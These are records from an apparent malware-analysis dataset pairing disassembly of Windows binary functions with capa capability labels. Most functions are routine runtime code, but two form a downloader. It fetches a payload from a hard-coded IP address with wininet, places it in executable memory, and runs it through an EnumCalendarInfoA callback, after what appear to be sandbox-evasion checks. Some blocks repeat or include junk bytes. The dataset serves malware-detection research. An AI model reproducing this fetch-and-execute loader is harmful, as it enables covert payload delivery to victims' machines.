joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14001c2a0
Capabilities:
Get thread local storage value

Disassembly:
push r15
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x38
movaps xmmword [rsp + 0x20], xmm6
mov esi, ecx
mov r12, rdx
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ebp, eax
call fcn.14001b4a0
mov ecx, dword [0x140020678]
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
test rax, rax
mov rbx, rax
je 0x14001c3b0
lea r14, [rbx + 0x68]
mov rcx, r14
call fcn.14001e820
cmp esi, dword [rbx + 0x48]
jae 0x14001c330
mov rdi, qword [rbx + 0x50]
mov qword [rdi + rsi*8], r12
mov rax, qword [rbx + 0x58]
mov rcx, r14
mov byte [rax + rsi], 1
call fcn.14001e860
mov ecx, ebp
call qword [sym.imp.KERNEL32.dll_SetLastError]
xor eax, eax
movaps xmm6, xmmword [rsp + 0x20]
add rsp, 0x38
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret
mov rcx, qword [rbx + 0x50]
lea r15d, [rsi + 1]
movsxd r13, r15d
lea rdx, [r13*8]
call sub.api_ms_win_crt_heap_l1_1_0.dll_realloc
test rax, rax
mov rdi, rax
je 0x14001c3bd
mov rcx, qword [rbx + 0x58]
mov rdx, r13
movq xmm6, rdi
call sub.api_ms_win_crt_heap_l1_1_0.dll_realloc
movq xmm0, rax
test rax, rax
mov r13, rax
punpcklqdq xmm6, xmm0
je 0x14001c3bd
mov eax, dword [rbx + 0x48]
mov edx, r15d
lea rcx, [rdi + rax*8]
sub edx, eax
lea r8, [rdx*8]
xor edx, edx
call sub.api_ms_win_crt_string_l1_1_0.dll_memset
mov edx, dword [rbx + 0x48]
mov r8d, r15d
lea rcx, [r13 + rdx]
sub r8d, edx
xor edx, edx
call sub.api_ms_win_crt_string_l1_1_0.dll_memset
movaps xmmword [rbx + 0x50], xmm6
mov dword [rbx + 0x48], r15d
jmp 0x14001c2f4
call fcn.14001b550
mov rbx, rax
jmp 0x14001c2df
mov rcx, r14
call fcn.14001e860
mov eax, 0xc
jmp 0x14001c312

Function at 0x14001c440
Capabilities:
Get thread local storage value

Disassembly:
sub rsp, 0x28
call fcn.14001b4a0
mov ecx, dword [0x140020678]
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
test rax, rax
je 0x14001c468
mov rax, qword [rax + 0x30]
add rsp, 0x28
ret
call fcn.14001b550
test rax, rax
jne 0x14001c45a
add rsp, 0x28
ret

Function at 0x14001c4d0
Capabilities:
Get thread local storage value

Disassembly:
sub rsp, 0x28
call fcn.14001b4a0
mov ecx, dword [0x140020678]
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
test rax, rax
je 0x14001c4f8
add rax, 0x18
add rsp, 0x28
ret
call fcn.14001b550
test rax, rax
jne 0x14001c4ea
jmp 0x14001c4ee

Function at 0x14001c610
Capabilities:
Get thread local storage value

Disassembly:
sub rsp, 0x28
mov eax, dword [0x140207658]
test eax, eax
jne 0x14001c628
xor eax, eax
add rsp, 0x28
ret
call fcn.14001b4a0
mov ecx, dword [0x140020678]
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
test rax, rax
je 0x14001c658
mov edx, dword [rax + 0x20]
test edx, edx
jg 0x14001c61e
test byte [rax + 0x40], 3
je 0x14001c61e
mov eax, dword [rax + 0x44]
and eax, 1
jmp 0x14001c620
call fcn.14001b550
test rax, rax
jne 0x14001c63e
jmp 0x14001c61e
Function at 0x14001c670
Capabilities:
Get thread local storage value

Disassembly:
push rbx
sub rsp, 0x20
mov ebx, ecx
call fcn.14001b4a0
mov ecx, dword [0x140020678]
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
test rax, rax
je 0x14001c6b0
test ebx, ebx
jle 0x14001c6a0
lock add dword [rax + 0x20], 1
add rsp, 0x20
pop rbx
ret
lock sub dword [rax + 0x20], 1
add rsp, 0x20
pop rbx
ret
call fcn.14001b550
test rax, rax
jne 0x14001c68d
add rsp, 0x20
pop rbx
ret

Function at 0x14001c7a0
Capabilities:
Get thread local storage value

Disassembly:
push rsi
push rbx
sub rsp, 0x28
call fcn.14001b4a0
mov ecx, dword [0x140020678]
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
test rax, rax
mov rbx, rax
je 0x14001c818
test byte [rbx + 0x40], 0xc
jne 0x14001c7cf
mov eax, dword [0x140207658]
test eax, eax
jne 0x14001c7e0
add rsp, 0x28
pop rbx
pop rsi
ret
lea rsi, [rbx + 0x38]
mov rcx, rsi
call fcn.14001a720
movzx eax, byte [rbx + 0x40]
test al, 3
je 0x14001c803
mov edx, dword [rbx + 0x44]
test dl, 1
je 0x14001c803
mov ecx, dword [rbx + 0x20]
test ecx, ecx
jle 0x14001c82c
mov rcx, rsi
add rsp, 0x28
pop rbx
pop rsi
jmp fcn.14001aa10
call fcn.14001b550
test rax, rax
mov rbx, rax
jne 0x14001c7bf
add rsp, 0x28
pop rbx
pop rsi
ret
mov rcx, qword [rbx + 0x30]
and eax, 0xfffffff3
and edx, 0xfffffffe
or eax, 4
mov dword [rbx + 0x44], edx
mov byte [rbx + 0x40], al
test rcx, rcx
je 0x14001c84a
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rcx, rsi
call fcn.14001aa10
call fcn.14001c6c0
nop
nop dword [rax + rax]
push rdi
push rsi
push rbx
sub rsp, 0x20
test rcx, rcx
je 0x14001c8d0
call fcn.14001d9b0
mov rsi, rax
mov eax, 0xfffffffe
cmp rax, rsi
jb 0x14001c908
call fcn.14001b4a0
mov ecx, dword [0x140020678]
mov edi, esi
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
test rax, rax
mov rbx, rax
je 0x14001c960
test esi, esi
je 0x14001c8e6
call fcn.14001c7a0
mov rcx, qword [rbx + 0x30]
test rcx, rcx
je 0x14001c940
mov edx, edi
call fcn.14001da60
call fcn.14001c7a0
xor eax, eax
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret
call fcn.14001b4a0
mov ecx, dword [0x140020678]
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
test rax, rax
je 0x14001c950
call fcn.14001c7a0
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_Sleep]
call fcn.14001c7a0
xor eax, eax
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret
call fcn.14001b4a0
mov ecx, dword [0x140020678]
mov edi, 0xffffffff
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
test rax, rax
mov rbx, rax
jne 0x14001c8a5
call fcn.14001b550
mov rbx, rax
jmp 0x14001c8a5
mov ecx, edi
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x14001c8be
call fcn.14001b550
jmp 0x14001c8e6
call fcn.14001b550
mov rbx, rax
jmp 0x14001c8a1
Function at 0x14001c860
Capabilities:
Get thread local storage value

Disassembly:
push rsi
push rbx
sub rsp, 0x28
call fcn.14001b4a0
mov ecx, dword [0x140020678]
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
test rax, rax
mov rbx, rax
je 0x14001c818
test byte [rbx + 0x40], 0xc
jne 0x14001c7cf
mov eax, dword [0x140207658]
test eax, eax
jne 0x14001c7e0
add rsp, 0x28
pop rbx
pop rsi
ret
lea rsi, [rbx + 0x38]
mov rcx, rsi
call fcn.14001a720
movzx eax, byte [rbx + 0x40]
test al, 3
je 0x14001c803
mov edx, dword [rbx + 0x44]
test dl, 1
je 0x14001c803
mov ecx, dword [rbx + 0x20]
test ecx, ecx
jle 0x14001c82c
mov rcx, rsi
add rsp, 0x28
pop rbx
pop rsi
jmp fcn.14001aa10
call fcn.14001b550
test rax, rax
mov rbx, rax
jne 0x14001c7bf
add rsp, 0x28
pop rbx
pop rsi
ret
mov rcx, qword [rbx + 0x30]
and eax, 0xfffffff3
and edx, 0xfffffffe
or eax, 4
mov dword [rbx + 0x44], edx
mov byte [rbx + 0x40], al
test rcx, rcx
je 0x14001c84a
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rcx, rsi
call fcn.14001aa10
call fcn.14001c6c0
nop
nop dword [rax + rax]
push rdi
push rsi
push rbx
sub rsp, 0x20
test rcx, rcx
je 0x14001c8d0
call fcn.14001d9b0
mov rsi, rax
mov eax, 0xfffffffe
cmp rax, rsi
jb 0x14001c908
call fcn.14001b4a0
mov ecx, dword [0x140020678]
mov edi, esi
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
test rax, rax
mov rbx, rax
je 0x14001c960
test esi, esi
je 0x14001c8e6
call fcn.14001c7a0
mov rcx, qword [rbx + 0x30]
test rcx, rcx
je 0x14001c940
mov edx, edi
call fcn.14001da60
call fcn.14001c7a0
xor eax, eax
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret
call fcn.14001b4a0
mov ecx, dword [0x140020678]
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
test rax, rax
je 0x14001c950
call fcn.14001c7a0
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_Sleep]
call fcn.14001c7a0
xor eax, eax
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret
call fcn.14001b4a0
mov ecx, dword [0x140020678]
mov edi, 0xffffffff
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
test rax, rax
mov rbx, rax
jne 0x14001c8a5
call fcn.14001b550
mov rbx, rax
jmp 0x14001c8a5
mov ecx, edi
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x14001c8be
call fcn.14001b550
jmp 0x14001c8e6
call fcn.14001b550
mov rbx, rax
jmp 0x14001c8a1

Function at 0x14001c970
Capabilities:
Get thread local storage value

Disassembly:
push rsi
push rbx
sub rsp, 0x28
mov esi, ecx
call fcn.14001b4a0
mov ecx, dword [0x140020678]
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
test rax, rax
mov rbx, rax
je 0x14001c9e0
test esi, esi
je 0x14001c9c0
call fcn.14001c7a0
mov rcx, qword [rbx + 0x30]
test rcx, rcx
je 0x14001c9f0
mov edx, esi
call fcn.14001da60
call fcn.14001c7a0
xor eax, eax
add rsp, 0x28
pop rbx
pop rsi
ret
call fcn.14001c7a0
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_Sleep]
call fcn.14001c7a0
xor eax, eax
add rsp, 0x28
pop rbx
pop rsi
ret
call fcn.14001b550
mov rbx, rax
jmp 0x14001c991
mov ecx, esi
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x14001c9aa
Function at 0x140017820
Capabilities:
Read file via mapping

Disassembly:
push r15
push r14
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x68
mov rbx, r8
mov r15d, edx
mov rsi, rcx
mov rax, qword [0x140054018]
xor rax, rsp
mov qword [rsp + 0x60], rax
lea rdi, [rcx + 0x28]
mov rcx, rdi
call fcn.140017700
xor ebp, ebp
cmp rbx, 0x7fffffff
ja 0x140017868
test al, al
je 0x140017868
cmp qword [rsi + 0x58], 0
je 0x140017884
xor ebp, ebp
mov rcx, qword [rsp + 0x60]
xor rcx, rsp
call fcn.140045f60
mov eax, ebp
add rsp, 0x68
pop rbx
pop rbp
pop rdi
pop rsi
pop r14
pop r15
ret
cmp byte [rsi], 0
je 0x14001790d
mov rcx, rdi
call fcn.140017710
mov r14, rax
mov rbp, qword [0x140054c18]
test rbp, rbp
jne 0x1400178cb
lea rcx, [0x14004c3fe]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
lea rdx, str.NtQuerySection
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbp, rax
mov qword [0x140054c18], rax
xorps xmm0, xmm0
movaps xmmword [rsp + 0x30], xmm0
mov qword [rsp + 0x40], 0
mov qword [rsp + 0x20], 0
lea r8, [rsp + 0x30]
mov rcx, r14
xor edx, edx
mov r9d, 0x18
call rbp
test eax, eax
jne 0x140017866
test dword [rsp + 0x38], 0x1000000
jne 0x140017866
mov r14d, r15d
sar r14d, 0x1f
xor eax, eax
cmp byte [rsi + 0x60], 0
sete al
lea ebp, [rax + rax]
add ebp, 4
mov rcx, rdi
call fcn.140017710
mov qword [rsp + 0x20], rbx
mov rcx, rax
mov edx, ebp
mov r8d, r14d
mov r9d, r15d
call qword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov qword [rsi + 0x58], rax
test rax, rax
jne 0x140017984
xor eax, eax
cmp byte [rsi + 0x60], 0
sete al
lea ebp, [rax + rax]
add ebp, 4
mov rcx, rdi
call fcn.140017710
mov qword [rsp + 0x20], rbx
mov rcx, rax
mov edx, ebp
mov r8d, r14d
mov r9d, r15d
call qword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov qword [rsi + 0x58], rax
test rax, rax
je 0x140017866
mov rbp, rax
lea rdx, [rsp + 0x30]
mov r8d, 0x30
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
jne 0x1400179a4
xor eax, eax
jmp 0x1400179b1
mov rax, qword [rsp + 0x48]
sub rax, rbp
add rax, qword [rsp + 0x38]
mov qword [rsi + 0x50], rax
lea rdx, [rsp + 0x30]
mov rcx, rdi
call fcn.1400176a0
movups xmm0, xmmword [rsp + 0x30]
movups xmmword [rsi + 0x70], xmm0
call fcn.1400179e0
mov bpl, 1
jmp 0x140017868

Function at 0x140017a40
Capabilities:
Check if file exists

Disassembly:
push r15
push r14
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x28
cmp qword [rcx], rdx
je 0x140017ab4
mov rdi, rdx
mov rsi, rcx
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r14d, eax
mov rcx, rsi
call fcn.140017ad0
lea rax, [rdi + 1]
cmp rax, 2
jb case.default.0x140017aad
mov qword [rsi], rdi
call fcn.140017670
mov rbx, rax
mov r15, qword [rsp + 0x58]
call sym.firefox.exe_GetHandleVerifier
mov rbp, qword [rax]
mov qword [rsp + 0x20], rbx
mov rcx, rax
mov rdx, rdi
mov r8, rsi
mov r9, r15
call qword [rbp + 8]
mov ecx, r14d
add rsp, 0x28
pop rbx
pop rbp
pop rdi
pop rsi
pop r14
pop r15
jmp qword [sym.imp.KERNEL32.dll_SetLastError]
nop
add rsp, 0x28
pop rbx
pop rbp
pop rdi
pop rsi
pop r14
pop r15
ret
or eax, 0x76066294
std
adc cl, dh
sbb eax, 0xfd2e7b7a
fadd st(7)
Function at 0x140001160
Capabilities:
Terminate process

Disassembly:
push r15
push r14
push r12
push rsi
push rdi
push rbx
sub rsp, 0x28
mov rax, qword gs:[0x30]
mov rdi, qword [rax + 8]
mov rsi, qword [0x14007d048]
xor eax, eax
lock cmpxchg qword [rsi], rdi
sete bl
je 0x1400011b9
cmp rdi, rax
je 0x1400011b9
mov r14, qword [sym.imp.KERNEL32.dll_Sleep]
nop dword [rax]
mov ecx, 0x3e8
call r14
xor eax, eax
lock cmpxchg qword [rsi], rdi
sete bl
je 0x1400011b9
cmp rdi, rax
jne 0x1400011a0
mov rdi, qword [0x14007d050]
mov eax, dword [rdi]
cmp eax, 1
jne 0x1400011d3
mov ecx, 0x1f
call fcn.140053020
jmp 0x1400011fa
cmp dword [rdi], 0
je 0x1400011e1
mov byte [0x14009d480], 1
jmp 0x1400011fa
mov dword [rdi], 1
mov rcx, qword [0x14007d068]
mov rdx, qword [0x14007d070]
call sub.api_ms_win_crt_runtime_l1_1_0.dll__initterm
mov eax, dword [rdi]
cmp eax, 1
jne 0x14000121a
mov rcx, qword [0x14007d058]
mov rdx, qword [0x14007d060]
call sub.api_ms_win_crt_runtime_l1_1_0.dll__initterm
mov dword [rdi], 2
test bl, bl
je 0x140001223
xor eax, eax
xchg qword [rsi], rax
mov rax, qword [str.xS_b_]
mov rax, qword [rax]
test rax, rax
je 0x140001242
xor ecx, ecx
mov edx, 2
xor r8d, r8d
call qword [0x14008cb20]
call fcn.140051430
lea rcx, [0x1400519b0]
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [0x14007d040]
mov qword [rcx], rax
lea rcx, [0x140001390]
call sub.api_ms_win_crt_runtime_l1_1_0.dll__set_invalid_parameter_handler
call fcn.140051420
movsxd rdi, dword [0x14009d46c]
lea rcx, [rdi*8 + 8]
call sub.api_ms_win_crt_heap_l1_1_0.dll_malloc
mov rsi, rax
test rdi, rdi
jle 0x1400012d4
mov r14d, edi
mov r15, qword [0x14009d470]
xor r12d, r12d
nop dword [rax + rax]
mov rdi, qword [r15 + r12*8]
mov rcx, rdi
call sub.api_ms_win_crt_string_l1_1_0.dll_strlen
lea rbx, [rax + 1]
mov rcx, rbx
call sub.api_ms_win_crt_heap_l1_1_0.dll_malloc
mov qword [rsi + r12*8], rax
mov rcx, rax
mov rdx, rdi
mov r8, rbx
call sub.api_ms_win_crt_private_l1_1_0.dll_memcpy
inc r12
cmp r14, r12
jne 0x1400012a0
jmp 0x1400012d7
xor r14d, r14d
mov qword [rsi + r14*8], 0
mov qword [0x14009d470], rsi
call fcn.140051270
mov r8, qword [0x14009d478]
mov rax, qword [0x14007d018]
mov rax, qword [rax]
mov qword [rax], r8
mov ecx, dword [0x14009d46c]
mov rdx, qword [0x14009d470]
call fcn.140001a90
mov dword [0x14009d484], eax
cmp dword [0x14009d464], 0
je 0x140001342
cmp byte [0x14009d480], 0
jne 0x140001334
call sub.api_ms_win_crt_runtime_l1_1_0.dll__cexit
mov eax, dword [0x14009d484]
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r12
pop r14
pop r15
ret
mov ecx, eax
call sub.api_ms_win_crt_runtime_l1_1_0.dll_exit
int3
Function at 0x1400014b0
Capabilities:
Link many functions at runtime

Disassembly:
push r15
push r14
push r12
push rsi
push rdi
push rbx
sub rsp, 0x38
mov rsi, rcx
lea rcx, [0x14007d098]
mov r14, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call r14
mov rbx, rax
lea rdx, str.VirtualAlloc
mov r12, qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call r12
mov rdi, rax
lea rdx, str.VirtualFree
mov rcx, rbx
call r12
lea rcx, str.wininet.dll
call r14
test rax, rax
je 0x1400015e6
mov rbx, rax
lea rdx, str.InternetOpenA
mov rcx, rax
call r12
mov r14, rax
lea rdx, str.InternetOpenUrlA
mov rcx, rbx
call r12
mov r15, rax
lea rdx, str.InternetReadFile
mov rcx, rbx
call r12
mov rbx, rax
mov dword [rsp + 0x20], 0
xor ecx, ecx
mov edx, 1
xor r8d, r8d
xor r9d, r9d
call r14
mov ecx, 0x84000000
mov qword [rsp + 0x20], rcx
mov dword [rsp + 0x28], 0
mov rcx, rax
mov rdx, rsi
xor r8d, r8d
xor r9d, r9d
call r15
mov r14, rax
mov edx, 0xdbba0
xor ecx, ecx
mov r8d, 0x3000
mov r9d, 4
call rdi
mov rsi, rax
lea r9, [rsp + 0x34]
mov rcx, r14
mov rdx, rax
mov r8d, 0xdbba0
call rbx
mov edx, 0xdbba0
xor ecx, ecx
mov r8d, 0x3000
mov r9d, 0x40
call rdi
mov rdi, rax
mov eax, dword [rsp + 0x34]
test rax, rax
je 0x1400016ab
xor ecx, ecx
cmp eax, 8
jb 0x140001646
mov rdx, rdi
sub rdx, rsi
cmp rdx, 0x20
jb 0x140001646
cmp eax, 0x20
jae 0x1400015ed
xor ecx, ecx
jmp 0x140001628
xor edi, edi
jmp 0x1400016c5
mov ecx, eax
and ecx, 0xffffffe0
xor edx, edx
nop word cs:[rax + rax]
movups xmm0, xmmword [rsi + rdx]
movups xmm1, xmmword [rsi + rdx + 0x10]
movups xmmword [rdi + rdx], xmm0
movups xmmword [rdi + rdx + 0x10], xmm1
add rdx, 0x20
cmp rcx, rdx
jne 0x140001600
cmp rcx, rax
je 0x1400016ab
test al, 0x18
je 0x140001646
mov rdx, rcx
mov ecx, eax
and ecx, 0xfffffff8
mov r8, qword [rsi + rdx]
mov qword [rdi + rdx], r8
add rdx, 8
cmp rcx, rdx
jne 0x140001630
cmp rcx, rax
je 0x1400016ab
mov r8, rax
mov rdx, rcx
and r8, 3
je 0x140001671
mov rdx, rcx
nop word cs:[rax + rax]
movzx r9d, byte [rsi + rdx]
mov byte [rdi + rdx], r9b
inc rdx
dec r8
jne 0x140001660
sub rcx, rax
cmp rcx, 0xfffffffffffffffc
ja 0x1400016ab
nop word [rax + rax]
movzx ecx, byte [rsi + rdx]
mov byte [rdi + rdx], cl
movzx ecx, byte [rsi + rdx + 1]
mov byte [rdi + rdx + 1], cl
movzx ecx, byte [rsi + rdx + 2]
mov byte [rdi + rdx + 2], cl
movzx ecx, byte [rsi + rdx + 3]
mov byte [rdi + rdx + 3], cl
add rdx, 4
cmp rax, rdx
jne 0x140001680
mov rcx, rdi
mov edx, 0x400
mov r8d, 0xffffffff
mov r9d, 0x15
call qword [sym.imp.KERNEL32.dll_EnumCalendarInfoA]
mov rax, rdi
add rsp, 0x38
pop rbx
pop rdi
pop rsi
pop r12
pop r14
pop r15
ret
Function at 0x1400017b0
Capabilities:
Get common file path

Disassembly:
push r14
push rsi
push rdi
push rbx
sub rsp, 0x1f8
lea rsi, [rsp + 0xf0]
mov ecx, 0x100
mov rdx, rsi
call qword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
mov rcx, rsi
call sub.api_ms_win_crt_string_l1_1_0.dll_strlen
cmp rax, 0xfffffffffffffff8
jae 0x140001a09
mov rdi, rax
lea rsi, [rsp + 0x29]
cmp rax, 0x17
jae 0x140001803
lea eax, [rdi + rdi]
mov byte [rsp + 0x28], al
mov rbx, rsi
test rdi, rdi
jne 0x14000183e
jmp 0x140001851
mov rax, rdi
and rax, 0xfffffffffffffff8
add rax, 8
mov r14, rdi
or r14, 7
cmp r14, 0x17
cmove r14, rax
inc r14
mov rcx, r14
call fcn.14000f4f0
mov rbx, rax
mov qword [rsp + 0x38], rax
or r14, 1
mov qword [rsp + 0x28], r14
mov qword [rsp + 0x30], rdi
lea rdx, [rsp + 0xf0]
mov rcx, rbx
mov r8, rdi
call sub.api_ms_win_crt_private_l1_1_0.dll_memcpy
mov byte [rbx + rdi], 0
lea rdx, str.C:_A_Za_z0_9__
lea rcx, [rsp + 0xb0]
xor r8d, r8d
call fcn.140001ae0
movzx eax, byte [rsp + 0x28]
mov edi, eax
shr edi, 1
test al, 1
cmovne rsi, qword [rsp + 0x38]
cmovne rdi, qword [rsp + 0x30]
add rdi, rsi
xorps xmm0, xmm0
movaps xmmword [rsp + 0x70], xmm0
mov byte [rsp + 0x80], 0
movups xmmword [rsp + 0x88], xmm0
mov byte [rsp + 0x98], 0
mov byte [rsp + 0xa0], 0
mov qword [rsp + 0xa8], 0
movaps xmmword [rsp + 0x40], xmm0
movaps xmmword [rsp + 0x50], xmm0
movups xmmword [rsp + 0x59], xmm0
movaps xmmword [rsp + 0x120], xmm0
mov byte [rsp + 0x130], 0
movups xmmword [rsp + 0x138], xmm0
mov byte [rsp + 0x148], 0
mov byte [rsp + 0x150], 0
mov qword [rsp + 0x158], 0
movaps xmmword [rsp + 0xf0], xmm0
movaps xmmword [rsp + 0x100], xmm0
movups xmmword [rsp + 0x109], xmm0
mov dword [rsp + 0x20], 0x1040
lea rcx, [rsp + 0xb0]
lea r9, [rsp + 0xf0]
mov rdx, rsi
mov r8, rdi
call fcn.14000ab70
mov ebx, eax
mov byte [rsp + 0x20], 0
lea rcx, [rsp + 0x40]
lea r9, [rsp + 0xf0]
mov rdx, rsi
mov r8, rdi
call fcn.14000ae50
mov rcx, qword [rsp + 0xf0]
test rcx, rcx
je 0x140001971
mov qword [rsp + 0xf8], rcx
call fcn.14000f5d0
movzx edi, byte [rsp + 0x98]
mov rcx, qword [rsp + 0x40]
test rcx, rcx
je 0x14000198d
mov qword [rsp + 0x48], rcx
call fcn.14000f5d0
mov rsi, qword [rsp + 0xe0]
test rsi, rsi
je 0x1400019a8
mov eax, 0xffffffff
lock xadd dword [rsi + 8], eax
test eax, eax
je 0x1400019e2
lea rcx, [rsp + 0xb0]
call fcn.14003bdf0
test byte [rsp + 0x28], 1
je 0x1400019c6
mov rcx, qword [rsp + 0x38]
call fcn.14000f5d0
test dil, dil
setne al
and al, bl
xor bl, 1
or bl, al
mov eax, ebx
add rsp, 0x1f8
pop rbx
pop rdi
pop rsi
pop r14
ret
mov rax, qword [rsi]
mov rcx, rsi
call qword [rax + 0x10]
mov rcx, rsi
call fcn.140010ce0
lea rcx, [rsp + 0xb0]
call fcn.14003bdf0
test byte [rsp + 0x28], 1
jne 0x1400019bc
jmp 0x1400019c6
lea rcx, [rsp + 0x28]
call fcn.140001c20
mov rsi, rax
jmp 0x140001a56
test byte [rsp + 0x28], 1
je 0x140001a67
mov rcx, qword [rsp + 0x38]
call fcn.14000f5d0
mov rcx, rsi
call fcn.140052210
int3
Function at 0x140001a90
Capabilities:
Get system information on windows

Disassembly:
push rbp
sub rsp, 0x50
lea rbp, [rsp + 0x50]
call fcn.140051270
call qword [sym.imp.KERNEL32.dll_FreeConsole]
call fcn.1400017b0
test al, al
je 0x140001aca
lea rcx, [rbp - 0x30]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
cmp dword [rbp - 0x10], 2
jb 0x140001aca
lea rcx, str.http:__43.136.71.208:8031_downloaad_afile
call fcn.1400014b0
xor eax, eax
add rsp, 0x50
pop rbp
ret
Function at 0x14000c910
Capabilities:
Encode data using base64

Disassembly:
push r15
push r14
push r12
push rsi
push rdi
push rbx
sub rsp, 0x28
mov rdi, rdx
mov rsi, rcx
mov r8, qword [rcx + 0x10]
cmp r8, qword [rcx + 0x18]
jne 0x14000ca43
mov rax, qword [rsi]
mov rdx, qword [rsi + 8]
mov rcx, rdx
sub rcx, rax
jbe 0x14000c993
sar rcx, 3
lea rax, [rcx + 1]
shr rax, 0x3f
add rax, rcx
inc rax
sar rax, 1
mov r15, rax
neg r15
shl rax, 3
mov rbx, rdx
sub rbx, rax
mov r14, r8
sub r14, rdx
je 0x14000c97c
mov rcx, rbx
mov r8, r14
call fcn.14007b8a0
mov r8, qword [rsi + 8]
add rbx, r14
mov qword [rsi + 0x10], rbx
lea rax, [r8 + r15*8]
mov qword [rsi + 8], rax
mov r8, rbx
jmp 0x14000ca43
mov rcx, r8
sub rcx, rax
sar rcx, 2
cmp r8, rax
mov ebx, 1
cmovne rbx, rcx
mov rax, rbx
shr rax, 0x3d
jne 0x14000caad
mov r14, rbx
shr r14, 2
lea rcx, [rbx*8]
call fcn.14000f4f0
lea r9, [rax + r14*8]
lea rdx, [rax + rbx*8]
mov rcx, qword [rsi + 8]
mov r10, qword [rsi + 0x10]
mov r8, r9
sub r10, rcx
je 0x14000ca23
lea r8, [r10 + r9]
add r10, 0xfffffffffffffff8
cmp r10, 0x68
jb 0x14000c9fd
lea r11, [rax + r14*8]
sub r11, rcx
cmp r11, 0x20
jae 0x14000ca5c
mov r11, r9
mov rbx, rcx
nop word cs:[rax + rax]
mov rcx, qword [rbx]
mov qword [r11], rcx
add r11, 8
add rbx, 8
cmp r11, r8
jne 0x14000ca10
mov rcx, qword [rsi]
mov qword [rsi], rax
mov qword [rsi + 8], r9
mov qword [rsi + 0x10], r8
mov qword [rsi + 0x18], rdx
test rcx, rcx
je 0x14000ca43
call fcn.14000f5d0
mov r8, qword [rsi + 0x10]
mov rax, qword [rdi]
mov qword [r8], rax
add qword [rsi + 0x10], 8
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r12
pop r14
pop r15
ret
shr r10, 3
inc r10
shl r14, 3
mov r15, r10
and r15, 0xfffffffffffffffc
lea r11, [r9 + r15*8]
lea rbx, [rcx + r15*8]
add r14, rax
add r14, 0x10
xor r12d, r12d
movups xmm0, xmmword [rcx + r12*8]
movups xmm1, xmmword [rcx + r12*8 + 0x10]
movups xmmword [r14 + r12*8 - 0x10], xmm0
movups xmmword [r14 + r12*8], xmm1
add r12, 4
cmp r15, r12
jne 0x14000ca80
cmp r10, r15
jne 0x14000ca10
jmp 0x14000ca23
call fcn.140001cc0
int3
Function at 0x14000cac0
Capabilities:
Encode data using base64

Disassembly:
push r15
push r14
push r12
push rsi
push rdi
push rbx
sub rsp, 0x28
mov rdi, rdx
mov rsi, rcx
mov rdx, qword [rcx + 8]
cmp rdx, qword [rcx]
je 0x14000cae4
mov rbx, rdx
jmp 0x14000cbe3
mov r8, qword [rsi + 0x10]
mov rax, qword [rsi + 0x18]
cmp r8, rax
jae 0x14000cb39
sub rax, r8
sar rax, 3
lea rcx, [rax + 1]
shr rcx, 0x3f
lea r14, [rax + rcx]
inc r14
sar r14, 1
lea rbx, [r8 + r14*8]
mov rax, r8
sub rax, rdx
sub rbx, rax
sub r8, rdx
je 0x14000cb28
mov rcx, rbx
call fcn.14007b8a0
mov rdx, qword [rsi + 0x10]
mov qword [rsi + 8], rbx
lea rax, [rdx + r14*8]
mov qword [rsi + 0x10], rax
jmp 0x14000cbe3
mov rcx, rax
sub rcx, rdx
sar rcx, 2
cmp rax, rdx
mov r15d, 1
cmovne r15, rcx
mov rax, r15
shr rax, 0x3d
jne 0x14000cc5d
lea r14, [r15 + 3]
shr r14, 2
lea rcx, [r15*8]
call fcn.14000f4f0
lea rbx, [rax + r14*8]
lea rdx, [rax + r15*8]
mov rcx, qword [rsi + 8]
mov r9, qword [rsi + 0x10]
mov r8, rbx
sub r9, rcx
je 0x14000cbc3
lea r8, [r9 + rbx]
add r9, 0xfffffffffffffff8
cmp r9, 0x68
jb 0x14000cba5
lea r10, [rax + r14*8]
sub r10, rcx
cmp r10, 0x20
jae 0x14000cbfd
mov r10, rbx
mov r11, rcx
nop dword [rax + rax]
mov rcx, qword [r11]
mov qword [r10], rcx
add r10, 8
add r11, 8
cmp r10, r8
jne 0x14000cbb0
mov rcx, qword [rsi]
